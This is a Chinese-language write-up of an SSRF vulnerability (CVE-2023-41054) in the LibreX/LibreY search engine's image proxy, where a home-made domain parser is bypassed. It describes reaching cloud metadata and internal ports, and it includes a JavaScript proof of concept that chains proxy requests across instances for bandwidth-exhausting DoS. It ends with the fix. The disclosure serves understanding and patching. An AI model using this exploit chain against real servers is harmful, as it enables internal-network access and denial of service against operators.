LibreX/Y 对 URL host 的错误解析导致了 SSRF 漏洞,攻击者可以绕过对 host 的检查向任意 URL 发送 GET request 并获取 response body,从而访问内网资源或进行 DoS 攻击。
- LibreY Server-Side Request Forgery (SSRF) vulnerability in image_proxy.php · Advisory
- CVE-2023-41054
代码分析
$url = $_REQUEST["url"];
$requested_root_domain = get_root_domain($url);
$allowed_domains = array("qwant.com", "wikimedia.org", get_root_domain($config->invidious_instance_for_video_results));
if (in_array($requested_root_domain, $allowed_domains))
{
$image = $url;
$image_src = request($image);
header("Content-Type: image/png");
echo $image_src;
这里检查了 proxy 到的目标 URL 域名在一个允许列表之中,但是 get_
是一个自己写的函数:
function get_root_domain($url) {
$split_url = explode("/", $url);
$base_url = $split_url[2];
$base_url_main_split = explode(".", strrev($base_url));
$root_domain = strrev($base_url_main_split[1]) . "." . strrev($base_url_main_split[0]);
return $root_domain;
}
这一看就非常灵车(,它依赖于 URL 的标准形式,即以 http(s)://
开头。但是实际上 scheme 可以全部省略,或者只留一个 slash 而非两个,所以 /
或者 /
都可以通过这里的检查,从而造成 SSRF。
利用
访问内网资源
如果实例部署在 VPS 上可能可以在 169.254.169.254 获取到一些 metadata: /
或 /
。
还可以对 localhost 做端口扫描、对内网 IP 地址的常用端口进行扫描之类的。
默认配置中限制了 protocol 为 HTTP(S),所以无法访问本地文件之类的。
获取源站 IP 地址
如果用了 CDN,服务器的地址可能是隐藏的。可以向攻击者控制的服务器或 https
DoS
可以让服务器请求大文件来消耗服务器带宽(攻击者不需要接收 response 从而不需要消耗带宽),但实际上一般下载到一半就超时中断了,效果和下载一张较大的图片(没有漏洞也能做到)差不多。
但是通过任意 URL 的访问,可以套娃,例如 http
。
const INSTANCES = [
'https://librex.a.com/',
'https://librex.b.com/',
'https://librex.c.com/',
];
const FINAL_TARGET = 'http://speedtest.ftp.otenet.gr/files/test10Mb.db';
const NUMBER_OF_ROUNDS = 25;
const NUMBER_OF_REQUESTS = 1;
function manipulatedUrlParam(url) {
const u = new URL(url);
return `${u.protocol}/${u.host}/qwant.com/../${u.pathname}${u.search}`;
}
function imageProxyUrl(instance, target) {
const u = new URL("image_proxy.php", instance);
u.search = new URLSearchParams({ url: manipulatedUrlParam(target) });
// u.search = `?url=${manipulatedUrlParam(target)}`;
return u.toString();
}
let chainedUrl = FINAL_TARGET;
for (let i = 0; i < NUMBER_OF_ROUNDS; i += 1) {
chainedUrl = imageProxyUrl(INSTANCES[i % INSTANCES.length], chainedUrl);
}
console.log(chainedUrl);
for (let i = 0; i < NUMBER_OF_REQUESTS; i += 1) {
console.time(`fetch ${i}`);
fetch(chainedUrl).then((res) => {
console.timeEnd(`fetch ${i}`);
console.log(`${res.status}: ${res.statusText}`);
console.log(`Content-Type: ${res.headers.get('Content-Type')}`);
// res.text().then((t) => console.log(`Body Length: ${t.length}`));
});
}
这样的话攻击者的一次请求就可以让服务器发送很多请求,也能同时消耗服务器的上行和下行带宽,并且同时攻击多个实例。
不同实例的攻击难度不同,可能和服务器配置有关,比较菜的服务器通过套娃一次请求就可以十几秒无响应。
修复
https这个 PR 的名字好崩溃)
用 parse_url
就行,不知道当初作者为啥想不开自己造了个方轮子(